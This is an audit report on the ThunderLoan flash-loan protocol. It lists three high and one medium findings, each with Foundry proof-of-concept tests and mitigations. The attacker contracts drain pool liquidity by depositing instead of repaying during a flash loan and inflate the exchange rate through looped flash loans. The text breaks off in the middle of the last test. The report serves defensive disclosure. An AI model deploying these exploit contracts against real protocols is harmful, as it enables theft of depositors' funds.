ThunderLoan Audit Report

Version 1.0

Elia Bordoni

February 28, 2026

ThunderLoan Audit Report

Elia Bordoni

February 28, 2026

Prepared by: Elia Bordoni

Table of Contents

  - Low
  - Informational
  - Gas

Protocol Summary

The ThunderLoan protocol is a lending protocol for flashLoans. Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return as LP. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit hash:

```
9c994980fcc028013659df2bd8b8cc2b43b6e557
```

Scope

./interfaces/

- IFlashLoanReceiver.sol
- IPoolFactory.sol

- ITSwapPool.sol
- IThunderLoan.sol

./protocol/

- AssetToken.sol
- OracleUpgradeable.sol
- ThunderLoan.sol

./upgradedProtocol/

- ThunderLoanUpgraded.sol

Roles

1. Owner:

- RESPONSIBILITIES:
  - The owner of the protocol who has the power to upgrade the implementation.
- LIMITATIONS:

2. Liquidity provider:

- RESPONSIBILITIES:
  - A user who deposits assets into the protocol to earn interest.
- LIMITATIONS:
  - Can't update proxy contract

3. Borrower:

- RESPONSIBILITIES:
  - A user who takes out flash loans from the protocol.
- LIMITATIONS:
  - Can't update proxy contract

Executive Summary

The entire audit was carried out exclusively through manual review.

Issues found

Severity	Number of issues found
High	3
Medium	1
Low	0
Total	4

Findings

High

[H-01] A user holding only a minimal amount of the underlying token can drain all the liquidity from its assetToken contract

Description

- Borrower who take flashLoan must repay the loaned amount plus a fee within the same transaction using `repay` function. This is verified by an ending balance check.
- In this case, a user with a minimal amount of tokens can take out a flash loan. Instead of using `repay`, they use `deposit` so that the final balance assertion passes, but in addition, they receive the LP tokens. Once the flash loan is closed, the user can redeem the received LP tokens and effectively steal the underlying asset.

```
function flashloan(
       address receiverAddress,
       IERC20 token,
       uint256 amount,
       bytes calldata params
   ) external {

       AssetToken assetToken = s_tokenToAssetToken[token];
       uint256 startingBalance = IERC20(token).balanceOf(address(
          assetToken));

       if (amount > startingBalance) {
           revert ThunderLoan__NotEnoughTokenBalance(startingBalance,
              amount);
       }

       if (!receiverAddress.isContract()) {
           revert ThunderLoan__CallerIsNotContract();
       }

       uint256 fee = getCalculatedFee(token, amount);
       // slither-disable-next-line reentrancy-vulnerabilities-2
          reentrancy-vulnerabilities-3
       assetToken.updateExchangeRate(fee);
       emit FlashLoan(receiverAddress, token, amount, fee, params);

       s_currentlyFlashLoaning[token] = true;
       assetToken.transferUnderlyingTo(receiverAddress, amount);
       // slither-disable-next-line unused-return reentrancy-
          vulnerabilities-2
       receiverAddress.functionCall(
           abi.encodeWithSignature(
               "executeOperation(address,uint256,uint256,address,bytes)",
               address(token),
               amount,
               fee,
               msg.sender,

               params
           )
       );

       uint256 endingBalance = token.balanceOf(address(assetToken));
       // @audit-issue here I can use deposit insted of repay and pass the check stealing tokens
@>       if (endingBalance < startingBalance + fee) {
           revert ThunderLoan__NotPaidBack(
               startingBalance + fee,
               endingBalance
           );
       }
       s_currentlyFlashLoaning[token] = false;
   }
```

Likelihood:

- Everytime a user has a little amount of token to pay flashLoan fees

Impact:

- User can drain all the underliyng token liquidity from AssetToken contract

Proof of Concept

Test

The test sets up a pool with 100,000 tokens deposited by a legitimate LP, then funds the attacker contract with 10 tokens to cover the initial fee. The attacker calls `attack()` twice: the first time borrowing the maximum amount allowed by its balance, and the second time borrowing the entire remaining pool balance — which is now larger because the first attack left tokens behind. After both attacks, all underlying tokens are transferred to the attacker's EOA. The final assertion verifies that the attacker ends up with more tokens than it started with, confirming the drain.

```
contract POCtest is Test {
    ThunderLoan thunderLoanImplementation;
    MockPoolFactory mockPoolFactory;
    ERC1967Proxy proxy;
    ThunderLoan thunderLoan;

    ERC20Mock weth;
    ERC20Mock tokenA;
    ERC20Mock tokenB;
    ERC20Mock6Decimals tokenWith6Decimals;
    AssetToken assetToken6Decimals;
    AssetToken assetTokenA;
    AssetToken assetTokenB;

    address depositer = makeAddr("depositer");
    address flahLoanReceiver = makeAddr("flashLoanReceiver");
    address flashLoanAttacker = makeAddr("flashLoanAttacker");

    function setUp() public virtual {
        thunderLoan = new ThunderLoan();
        mockPoolFactory = new MockPoolFactory();

        weth = new ERC20Mock();
        tokenA = new ERC20Mock();
        tokenB = new ERC20Mock();
        tokenWith6Decimals = new ERC20Mock6Decimals();

        mockPoolFactory.createPool(address(tokenA));
        mockPoolFactory.createPool(address(tokenWith6Decimals));
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(mockPoolFactory));

        assetTokenB = thunderLoan.setAllowedToken(
            IERC20(address(tokenB)),
            true
        );

        assetToken6Decimals = thunderLoan.setAllowedToken(
            IERC20(address(tokenWith6Decimals)),
            true
        );

        tokenA.mint(depositer, 50000 * 10 ** tokenA.decimals()); //fund depositer with tokenA

        //fund depositer with token with 6 decimals
        tokenWith6Decimals.mint(
            depositer,
            5000 * 10 ** tokenWith6Decimals.decimals()
        ); // 5000 tokens in 6-decimal representation
    }

function testUserCanDrainAllLiquidityUsingFlashLoanAndDeposit() public {
        // This test use Basetest.t.sol setup
        tokenA.mint(depositer, 50000 * 10 ** tokenA.decimals()); //fund
```

```
            depositer with tokenA
        assetTokenA = thunderLoan.setAllowedToken(
            IERC20(address(tokenA)),
            true
        );

        // AssetTokenA has 0 tokenA deposited, now depositer will deposit TokenA and allows flashLoan
        vm.startPrank(depositer);
        uint256 depositAmount = tokenA.balanceOf(depositer);
        tokenA.approve(address(thunderLoan), depositAmount);
        thunderLoan.deposit(tokenA, depositAmount);
        vm.stopPrank();

        //INITIAL STATE
        uint256 assetTokenAInitialBalance = tokenA.balanceOf(
            address(assetTokenA)
        ); //50000 tokens
        uint256 initialAttackerBalance = 10 * 10 ** tokenA.decimals(); //100 tokens
        address underlying = address(tokenA);

        vm.startPrank(flashLoanAttacker);
        tokenA.mint(flashLoanAttacker, initialAttackerBalance); // fund attacker with tokenA to pay fee

        //deploy and fund attacker contract, then execute attack
        FlashLoanAttacker attackerContract = new FlashLoanAttacker(
            address(thunderLoan)
        );
        tokenA.transfer(address(attackerContract), initialAttackerBalance); //used to pay fees first time
        //INITAL STATE CONSOLELOGS
        console2.log("--------initial state before flashloan--------");
        console2.log(
            "initial token balance of AssetToken: ",
            assetTokenAInitialBalance
        );
        console2.log(
            "Attacker contract initial balance:    ",
            IERC20(underlying).balanceOf(address(attackerContract))
        );

        console2.log("----------------------------------------------");
        attackerContract.attack(underlying);
        attackerContract.attack(underlying);
        attackerContract.sendAllUnderlyingToAttacker(underlying); // transfer all tokenA from attacker contract to attacker EOA
        vm.stopPrank();

        console2.log("--------final state after attack--------");
        console2.log(
            "final token balance of AssetToken: ",
            tokenA.balanceOf(address(assetTokenA))
        );
        console2.log(
            "AttackerContract final balance:    ",
            IERC20(underlying).balanceOf(address(attackerContract))
        );
        console2.log(
            "attacker final balance: ",
            IERC20(underlying).balanceOf(flashLoanAttacker)
        );
        console2.log("----------------------------------------------");

        assertGt(
            tokenA.balanceOf(flashLoanAttacker),
            initialAttackerBalance,
            "Attacker should have more tokens after the attack"
        );
        assertEq(
            tokenA.balanceOf(address(assetTokenA)),
            1,
            "AssetToken should have 0 tokens after the attack"
        );
    }}
```

Attacker Contract

The core of the exploit lives in executeOperation: instead of calling repay(), the attacker calls deposit(amount + fee), which satisfies the ending balance check in flashloan() while simultaneously receiving AssetToken shares. The key insight is that by the time redeem() is called after the flash loan closes, the exchange rate has been inflated twice — once by flashloan() before the fee was received, and once by deposit() during the callback. The attacker redeems shares at this doubly-inflated rate, extracting more underlying tokens than it deposited and leaving the LP pool with a deficit.

```
contract FlashLoanAttacker {
    ThunderLoan private immutable i_thunderLoan;

    constructor(address thunderLoan) {
        i_thunderLoan = ThunderLoan(thunderLoan);
    }

    //amount 1
    function attack(address _underlyingToken) external {
        console2.log("--------starting attack--------");

        AssetToken assetToken = i_thunderLoan.s_tokenToAssetToken(
            IERC20(_underlyingToken)
        );
        uint256 attackerBalance = IERC20(_underlyingToken).balanceOf(
            address(this)
        );
        uint256 poolBalance = IERC20(_underlyingToken).balanceOf(
            address(assetToken)
        );

        // max amount the attacker can borrow given its balance to pay the fee
        uint256 maxAmount = (attackerBalance *
            i_thunderLoan.getFeePrecision()) / i_thunderLoan.getFee();

        // cap to pool balance to avoid revert for not enough liquidity
        uint256 flashLoanAmount = maxAmount > poolBalance
            ? poolBalance
            : maxAmount;

        i_thunderLoan.flashloan(
            address(this),
            IERC20(_underlyingToken),
            flashLoanAmount,
            ""
        );

        uint256 currentPoolBalance = IERC20(_underlyingToken).balanceOf(
            address(assetToken)
        );
        uint256 currentRate = assetToken.getExchangeRate();
        uint256 maxRedeemableShares = (currentPoolBalance *
            assetToken.EXCHANGE_RATE_PRECISION()) / currentRate;
        uint256 myShares = assetToken.balanceOf(address(this));
        uint256 redeemAmount = myShares < maxRedeemableShares
            ? myShares
            : maxRedeemableShares;

        i_thunderLoan.redeem(IERC20(_underlyingToken), redeemAmount);
        //attack completed, Attacker has "clean" underlying tokens in its balance, without any trace of flashLoan in the history of transactions
    }

    function sendAllUnderlyingToAttacker(address _underlyingToken) external {
        uint256 amount = IERC20(_underlyingToken).balanceOf(address(this));
        IERC20(_underlyingToken).transfer(msg.sender, amount);
    }

    // to complete the attack, attacker need fee amount of token in its balance, then will use stolen tokens
    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address initiator,
        bytes calldata params
    ) external {
        IERC20(token).approve(address(i_thunderLoan), amount + fee);
        i_thunderLoan.deposit(IERC20(token), amount + fee);
        //Now Atacker has asset tokens ready to be redeemed after
           flashLoan execution
    }
}
```

Recommended Mitigation

To prevent this type of attack, it is possible to verify inside `deposit()` that the token being deposited is not currently being flash loaned, by checking the `s_currentlyFlashLoaning` mapping and reverting if the token is active in an ongoing flash loan. Using reentrancyGuard with non reentrant modifier on external and public function is also a good shield against this attack

```
  function deposit(
        IERC20 token,
        uint256 amount
    ) external revertIfZero(amount) revertIfNotAllowedToken(token) {

+        if (s_currentlyFlashLoaning[token]) {
+            revert ThunderLoan__CurrentlyFlashLoaning();
+        }
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
           EXCHANGE_RATE_PRECISION()) /
            exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        uint256 calculatedFee = getCalculatedFee(token, amount);
        assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
           ;
    }
```

[H-02] User can cause DOS manipulating exchangeRate to 100% with only 1 token

Description

- `ThunderLoan`'s exchange rate is designed to increase exclusively when flash loan fees are collected and successfully repaid by borrowers. The `updateExchangeRate(fee)` function in `flashloan()` is the only intended mechanism to reward liquidity providers over time, ensuring the rate reflects real yield generated by the protocol.

- `deposit()` incorrectly calls `updateExchangeRate()` on every deposit, treating the deposited amount as if it were a flash loan fee. This means any deposit — including a malicious one with a minimal amount — inflates the exchange rate independently of any actual fee collection. Combined with the fact that `updateExchangeRate()` in `flashloan()` is called before the fee is actually received, an attacker can compound the rate increase by repeatedly calling `flashloan()` with a minimal `totalSupply`, since the rate multiplier (`totalSupply + fee`)/ `totalSupply` grows larger as `totalSupply` decreases.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);
    uint256 calculatedFee = getCalculatedFee(token, amount);
@>    assetToken.updateExchangeRate(calculatedFee);
    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

 function flashloan(
        address receiverAddress,
        IERC20 token,
        uint256 amount,
        bytes calldata params
    ) external {

        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));

        if (amount > startingBalance) {
            revert ThunderLoan__NotEnoughTokenBalance(startingBalance, amount);
        }

        if (!receiverAddress.isContract()) {
            revert ThunderLoan__CallerIsNotContract();
        }

        uint256 fee = getCalculatedFee(token, amount);
        // slither-disable-next-line reentrancy-vulnerabilities-2 reentrancy-vulnerabilities-3
@>        assetToken.updateExchangeRate(fee);
        emit FlashLoan(receiverAddress, token, amount, fee, params);

        s_currentlyFlashLoaning[token] = true;
        assetToken.transferUnderlyingTo(receiverAddress, amount);
        // slither-disable-next-line unused-return reentrancy-vulnerabilities-2
        receiverAddress.functionCall(
            abi.encodeWithSignature(
                "executeOperation(address,uint256,uint256,address,bytes)",
                address(token),
                amount,
                fee,
                msg.sender,
                params
            )
        );

        uint256 endingBalance = token.balanceOf(address(assetToken));
        if (endingBalance < startingBalance + fee) {
            revert ThunderLoan__NotPaidBack(
                startingBalance + fee,
                endingBalance
            );
        }
        s_currentlyFlashLoaning[token] = false;
    }
```

Likelihood:

- Every time a usert with at least 1 token want to brake the protocol

Impact:

- Increasing the exchange rate by 100x effectively renders the protocol unusable, since depositing funds to earn interest becomes economically irrational.

Proof of Concept

By depositing the minimum viable amount to avoid fee rounding to zero and iterating flash loans, an attacker can push the exchange rate to arbitrarily high values at negligible cost, making it impossible for legitimate LPs to redeem their shares as the inflated rate promises more underlying tokens than the pool physically holds.

To prove this I create a test with a malicuis contract that with only 1 token can increase the exchangerate to 100% looping flashLoan and repay

```
contract POCtest is Test {
    ThunderLoan thunderLoanImplementation;
    MockPoolFactory mockPoolFactory;
    ERC1967Proxy proxy;
    ThunderLoan thunderLoan;

    ERC20Mock weth;
    ERC20Mock tokenA;
    ERC20Mock tokenB;
    ERC20Mock6Decimals tokenWith6Decimals;
    AssetToken assetToken6Decimals;
    AssetToken assetTokenA;
    AssetToken assetTokenB;

    address depositer = makeAddr("depositer");
    address flahLoanReceiver = makeAddr("flashLoanReceiver");
    address flashLoanAttacker = makeAddr("flashLoanAttacker");

    function setUp() public virtual {
        thunderLoan = new ThunderLoan();
        mockPoolFactory = new MockPoolFactory();

        weth = new ERC20Mock();
        tokenA = new ERC20Mock();
        tokenB = new ERC20Mock();
        tokenWith6Decimals = new ERC20Mock6Decimals();

        mockPoolFactory.createPool(address(tokenA));
        mockPoolFactory.createPool(address(tokenWith6Decimals));
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(mockPoolFactory));

        assetTokenB = thunderLoan.setAllowedToken(
            IERC20(address(tokenB)),
            true
        );

        assetToken6Decimals = thunderLoan.setAllowedToken(
            IERC20(address(tokenWith6Decimals)),
            true
        );

        tokenA.mint(depositer, 50000 * 10 ** tokenA.decimals()); //fund depositer with tokenA

        //fund depositer with token with 6 decimals
        tokenWith6Decimals.mint(
            depositer,
            5000 * 10 ** tokenWith6Decimals.decimals()
        ); // 5000 tokens in 6-decimal representation
    }
  function testDOSattackDueToExchangeRateManipulationWithFlashLoan() public {
        // This test use Basetest.t.sol setup
        uint256 mintToAttacker = 1 * 10 ** tokenA.decimals();
        tokenA.mint(flashLoanAttacker, mintToAttacker); // fund attacker with tokenA

        assetTokenA = thunderLoan.setAllowedToken(
            IERC20(address(tokenA)),
            true
        );

        assertEq(tokenA.balanceOf(address(assetTokenA)), 0);
        assertEq(assetTokenA.totalSupply(), 0);
        assertEq(assetTokenA.getExchangeRate(), 1e18); //1:1 exchange rate at the beginning

        // Attacker deposits tokenA and gets assetTokenA
        vm.startPrank(flashLoanAttacker);
        ExchangeRateManipulator manipulator = new ExchangeRateManipulator(
            address(thunderLoan)
        );
        tokenA.transfer(address(manipulator), mintToAttacker);
        manipulator.manipulateExchangeRate(address(tokenA));

        assertGt(
            assetTokenA.getExchangeRate(),
            100e18,
            "Exchange rate should have increased after manipulation"
        );
        }
    }
```

This is the contract that flashloan a minimum amount and repay in a big loop

```
contract ExchangeRateManipulator {
    ThunderLoan private immutable i_thunderLoan;

    constructor(address thunderLoan) {
        i_thunderLoan = ThunderLoan(thunderLoan);
    }

    function manipulateExchangeRate(address token) external {
        AssetToken assetToken = i_thunderLoan.s_tokenToAssetToken(
            IERC20(token)
        );
        IERC20(token).approve(address(i_thunderLoan), type(uint256).max);
        // deposit minimum viable amount to minimize totalSupply
        // minimum to avoid fee rounding to zero: ceil(1e18 / 3e15) = 334 wei
        uint256 minDeposit = 334;
        i_thunderLoan.deposit(IERC20(token), minDeposit);
        uint256 flashLoanAmount = IERC20(token).balanceOf(address(assetToken)); // = 334 wei
        for (uint256 i = 0; i < 1540; i++) {
            i_thunderLoan.flashloan(
                address(this),
                IERC20(token),
                flashLoanAmount,
                ""
            );
        }
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address initiator,
        bytes calldata params
    ) external {
        i_thunderLoan.repay(IERC20(token), amount + fee);
    }
}
```

Recommended Mitigation

Two separate fixes are required, one for each vulnerable function.

1. Remove `updateExchangeRate` from `deposit()`

Deposits represent neutral liquidity additions and should never affect the exchange rate. The call to `updateExchangeRate` must be removed entirely.

2. Move** `updateExchangeRate` after the repayment check in `flashloan()`

The exchange rate should only be updated after verifying that the fee has been actually received by the protocol. Moving the call after the ending balance check ensures the rate reflects real yield.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);
-   uint256 calculatedFee = getCalculatedFee(token, amount);
-   assetToken.updateExchangeRate(calculatedFee);
    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

```

function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
    if (amount > startingBalance) {
        revert ThunderLoan__NotEnoughTokenBalance(startingBalance, amount);
    }
    if (!receiverAddress.isContract()) {
        revert ThunderLoan__CallerIsNotContract();
    }
    uint256 fee = getCalculatedFee(token, amount);
-   assetToken.updateExchangeRate(fee);
    emit FlashLoan(receiverAddress, token, amount, fee, params);
    s_currentlyFlashLoaning[token] = true;
    assetToken.transferUnderlyingTo(receiverAddress, amount);
    receiverAddress.functionCall(
        abi.encodeWithSignature(
            "executeOperation(address,uint256,uint256,address,bytes)",
            address(token), amount, fee, msg.sender, params
        )
    );
    uint256 endingBalance = token.balanceOf(address(assetToken));
    if (endingBalance < startingBalance + fee) {
        revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
    }
+   assetToken.updateExchangeRate(fee);
    s_currentlyFlashLoaning[token] = false;
}
```

[H-03] A storage collision in ThunderLoanUpgraded sets the flash loan fee to 100%, rendering the contract unusable.

Description

- ThunderLoan uses an upgradeable UUPS proxy pattern where storage layout must remain consistent across versions. In V1, ‘s_feePrecision‘ is declared as a state variable occupying slot X+1, followed by ‘s_flashLoanFee‘ at slot X+2, and both are used in ‘getCalculatedFee()‘ to compute the flash loan fee.
- In ‘ThunderLoanUpgraded‘, ‘s_feePrecision‘ is removed as a state variable and replaced by a ‘constant‘ named ‘FEE_PRECISION‘, which does not occupy a storage slot. This shifts ‘s_flashLoanFee‘ from slot X+2 to slot X+1, causing it to read the stale value of the old ‘s_feePrecision‘ (1e18) instead of the intended ‘s_flashLoanFee‘ (3e15), resulting in a fee of 100% of the borrowed amount.

```
    mapping(IERC20 => AssetToken) public s_tokenToAssetToken;

    // The fee in WEI, it should have 18 decimals. Each flash loan takes a flat fee of the token price.
    uint256 private s_flashLoanFee; // 0.3% ETH fee
@> uint256 public constant FEE_PRECISION = 1e18;

    mapping(IERC20 token => bool currentlyFlashLoaning)
        private s_currentlyFlashLoaning;
```

Likelihood:

- This problem will occur as soon as this logig is implemented

Impact:

- Setting the fees for flash loan to 100% make the flashloan unusable and protocol become useless

Proof of Concept

The test verifies : it confirms the correct fee of 0.3% (3e15) before the upgrade. After the upgrade, it demonstrates that s_flashLoanFee shifts to the slot previously occupied by s_feePrecision, causing getFee() to return 1e18 instead of 3e15. Finally, it proves that getCalculatedFee() now returns an amount equal to the entire borrowed amount, confirming a 100% fee that makes the protocol unusable for any borrower.

```
contract POCtest is Test {
    ThunderLoan thunderLoanImplementation;
    MockPoolFactory mockPoolFactory;
    ERC1967Proxy proxy;
    ThunderLoan thunderLoan;

    ERC20Mock weth;
    ERC20Mock tokenA;
    ERC20Mock tokenB;
    ERC20Mock6Decimals tokenWith6Decimals;
    AssetToken assetToken6Decimals;
    AssetToken assetTokenA;
    AssetToken assetTokenB;

    address depositer = makeAddr("depositer");
    address flahLoanReceiver = makeAddr("flashLoanReceiver");
    address flashLoanAttacker = makeAddr("flashLoanAttacker");

    function setUp() public virtual {
        thunderLoan = new ThunderLoan();
        mockPoolFactory = new MockPoolFactory();

        weth = new ERC20Mock();
        tokenA = new ERC20Mock();
        tokenB = new ERC20Mock();
        tokenWith6Decimals = new ERC20Mock6Decimals();

        mockPoolFactory.createPool(address(tokenA));
        mockPoolFactory.createPool(address(tokenWith6Decimals));
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(mockPoolFactory));

        assetTokenB = thunderLoan.setAllowedToken(
            IERC20(address(tokenB)),
            true
        );

        assetToken6Decimals = thunderLoan.setAllowedToken(
            IERC20(address(tokenWith6Decimals)),
            true
        );

        tokenA.mint(depositer, 50000 * 10 ** tokenA.decimals()); //fund depositer with tokenA

        //fund depositer with token with 6 decimals
        tokenWith6Decimals.mint(
            depositer,
            5000 * 10 ** tokenWith6Decimals.decimals()
        ); // 5000 tokens in 6-decimal representation
    }
function testDOSdueToupgradeImplementationAndSettingFeesAtOneUndredPercent() public{
   // SETUP: allow tokenA and fund the depositer
   assetTokenA = thunderLoan.setAllowedToken(IERC20(address(tokenA)), true);

    vm.startPrank(depositer);
    tokenA.approve(address(thunderLoan), 50000e18);
    thunderLoan.deposit(IERC20(address(tokenA)), 50000e18);
    vm.stopPrank();

    // STEP 1: verify fee BEFORE upgrade should be 0.3%
    uint256 borrowAmount = 1000e18;
    uint256 feeBefore = thunderLoan.getCalculatedFee(
        IERC20(address(tokenA)),
        borrowAmount
    );
    uint256 feeRawBefore = thunderLoan.getFee(); // should be 3e15

    console.log("=== BEFORE UPGRADE ===");
    console.log("s_flashLoanFee slot value : ", feeRawBefore); // 3e15
    console.log("Calculated fee on 1000e18 : ", feeBefore); // around 3e15

    assertEq(feeRawBefore, 3e15);

    // STEP 2: upgrade to ThunderLoanUpgraded
    ThunderLoanUpgraded thunderLoanUpgradedImplementation = new ThunderLoanUpgraded();

    vm.prank(thunderLoan.owner());
    thunderLoan.upgradeTo(address(thunderLoanUpgradedImplementation));

    // Cast proxy to upgraded interface
    ThunderLoanUpgraded thunderLoanUpgraded = ThunderLoanUpgraded(
        address(proxy)
    );

    // STEP 3: verify fee AFTER upgrade reads s_feePrecision (1e18) instead of s_flashLoanFee (3e15) due to storage collision
    uint256 feeRawAfter = thunderLoanUpgraded.getFee(); // reads wrong slot
    uint256 feeAfter = thunderLoanUpgraded.getCalculatedFee(
        IERC20(address(tokenA)),
        borrowAmount
    );

    console.log("=== AFTER UPGRADE ===");
    console.log("s_flashLoanFee slot value : ", feeRawAfter); // 1e18 collision
    console.log("Calculated fee on 1000e18 : ", feeAfter); // = borrowAmount

    // Storage collision: s_flashLoanFee now reads old s_feePrecision = 1e18
    assertEq(feeRawAfter, 1e18);
    // Fee is now 100% of borrowed amount, not 0.3%
    assertNotEq(feeAfter, feeBefore);
    assertEq(feeAfter, borrowAmount);
  }}
```

this is the contract FlashLoanReceiver i used for the test:

```
contract FlashLoanReceiver {
    IThunderLoanFixed private immutable i_thunderLoan;

    constructor(address thunderLoan) {
        i_thunderLoan = IThunderLoanFixed(thunderLoan);
    }

    //amount 1
    function requestFlashLoan(
        address _underlyingToken,
        uint256 amount
    ) external {
        i_thunderLoan.flashloan(address(this), _underlyingToken, amount, "");
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address initiator,
        bytes calldata params
    ) external {
        IERC20(token).approve(address(i_thunderLoan), amount + fee);
        i_thunderLoan.repay(IERC20(token), amount + fee);
    }
}
```

Recommended Mitigation

To preserve the storage layout across upgrades, ‘s_feePrecision‘ should not be removed as a state variable. Instead, it can be retained in its original slot and simply left unused, or renamed to signal its deprecated status. This ensures that ‘s_flashLoanFee‘ remains at slot X+2 as expected, reading the correct value of ‘3e15‘ after the upgrade. Alternatively, the constant ‘FEE_PRECISION‘ should be added BEFORE the existing variables to maintain slot consistency — but the safest approach is always to never remove or reorder existing state variables.

```
contract ThunderLoanUpgraded is Initializable, OwnableUpgradeable, UUPSUpgradeable, OracleUpgradeable {

    mapping(IERC20 => AssetToken) public s_tokenToAssetToken;

-   uint256 private s_flashLoanFee;
-   uint256 public constant FEE_PRECISION = 1e18;

+   uint256 private s_feePrecision;        // slot X+1: retained to preserve storage layout
+   uint256 private s_flashLoanFee;        // slot X+2: now correctly reads 3e15
+   uint256 public constant FEE_PRECISION = 1e18;  // no slot consumed

    mapping(IERC20 token => bool currentlyFlashLoaning) private s_currentlyFlashLoaning;
}
```

Medium

[M-01] The depositor may find their underlying tokens locked if they deposit and the token is subsequently removed from the allowedToken list.

Description

- The protocol allows the owner to add and remove tokens from the allowed list via `setAllowedToken` .
- When the owner removes a token from the allowed list by calling setAllowedToken(token, false), the mapping s_tokenToAssetToken is deleted. Since both deposit and redeem use the revertIfNotAllowedToken modifier — which checks isAllowedToken (i.e., whether s_tokenToAssetToken[token] != address(0)) — any depositor who still holds AssetToken for the removed token is permanently unable to call redeem. Their funds remain locked in the AssetToken contract with no recovery mechanism.

```
function redeem(
        IERC20 token,
        uint256 amountOfAssetToken
    )
        external
        revertIfZero(amountOfAssetToken)
@>      revertIfNotAllowedToken(token)
    {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        if (amountOfAssetToken == type(uint256).max) {
            amountOfAssetToken = assetToken.balanceOf(msg.sender);
        }
        uint256 amountUnderlying = (amountOfAssetToken * exchangeRate) / assetToken.EXCHANGE_RATE_PRECISION();
        emit Redeemed(msg.sender, token, amountOfAssetToken, amountUnderlying);
        assetToken.burn(msg.sender, amountOfAssetToken);
        assetToken.transferUnderlyingTo(msg.sender, amountUnderlying);
    }
```

Likelihood:

- The owner calls `setAllowedToken(token, false)` while depositors still hold `AssetToken` for that token. There is no check in `setAllowedToken` that verifies the `AssetToken` supply is zero before deletion.

Impact:

- Depositors temporarily lose access to their underlying tokens. The `redeem` function reverts with `ThunderLoan__NotAllowedToken`, making it impossible to withdraw funds.
- Deposit lock can be permanently if owner doesn't call `setAllowedToken(token, true)`
- Is not high beacuse owner can always comeback to true.

Proof of Concept

The test simulates a depositor who deposits AssetA to receive LP tokens. Subsequently, the owner disallows TokenA, and we observe that when attempting to call `redeem`, the function reverts, preventing the depositor from recovering their funds.

```
contract POCtest is Test {
    ThunderLoan thunderLoanImplementation;
    MockPoolFactory mockPoolFactory;
    ERC1967Proxy proxy;
    ThunderLoan thunderLoan;

    ERC20Mock weth;
    ERC20Mock tokenA;
    ERC20Mock tokenB;
    ERC20Mock6Decimals tokenWith6Decimals;
    AssetToken assetToken6Decimals;
    AssetToken assetTokenA;
    AssetToken assetTokenB;

    address depositer = makeAddr("depositer");
    address flahLoanReceiver = makeAddr("flashLoanReceiver");
    address flashLoanAttacker = makeAddr("flashLoanAttacker");

    function setUp() public virtual {
        thunderLoan = new ThunderLoan();
        mockPoolFactory = new MockPoolFactory();

        weth = new ERC20Mock();
        tokenA = new ERC20Mock();
        tokenB = new ERC20Mock();
        tokenWith6Decimals = new ERC20Mock6Decimals();

        mockPoolFactory.createPool(address(tokenA));
        mockPoolFactory.createPool(address(tokenWith6Decimals));
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(mockPoolFactory));

        assetTokenB = thunderLoan.setAllowedToken(
            IERC20(address(tokenB)),
            true
        );

        assetToken6Decimals = thunderLoan.setAllowedToken(
            IERC20(address(tokenWith6Decimals)),
            true
        );

        tokenA.mint(depositer, 50000 * 10 ** tokenA.decimals()); //fund depositer with tokenA

        //fund depositer with token with 6 decimals
        tokenWith6Decimals.mint(
            depositer,
            5000 * 10 ** tokenWith6Decimals.decimals()
        ); // 5000 tokens in 6-decimal representation
    }

function testDeleteAllowedTokenCanLostFundsToDepositer() public {
        // This test use Basetest.t.sol setup
        assetTokenA = thunderLoan.setAllowedToken(
            IERC20(address(tokenA)),
            true
        );

        // Deposit some tokenA to get assetTokenA
        uint256 depositAmount = 1000 * 10 ** tokenA.decimals();
        vm.startPrank(depositer);
        tokenA.approve(address(thunderLoan), depositAmount);
        thunderLoan.deposit(tokenA, depositAmount);
        vm.stopPrank();

        // assert that the depositer received the correct amount of assetTokenA
        uint256 assetTokenDepositerBalance = assetTokenA.balanceOf(depositer);
        assertEq(assetTokenDepositerBalance, depositAmount);

        // Now delete tokenA from allowed tokens
        thunderLoan.setAllowedToken(IERC20(address(tokenA)), false);

        // The depositer can't redeem their assetTokenA for tokenA, because tokenA is no longer allowed
        vm.startPrank(depositer);
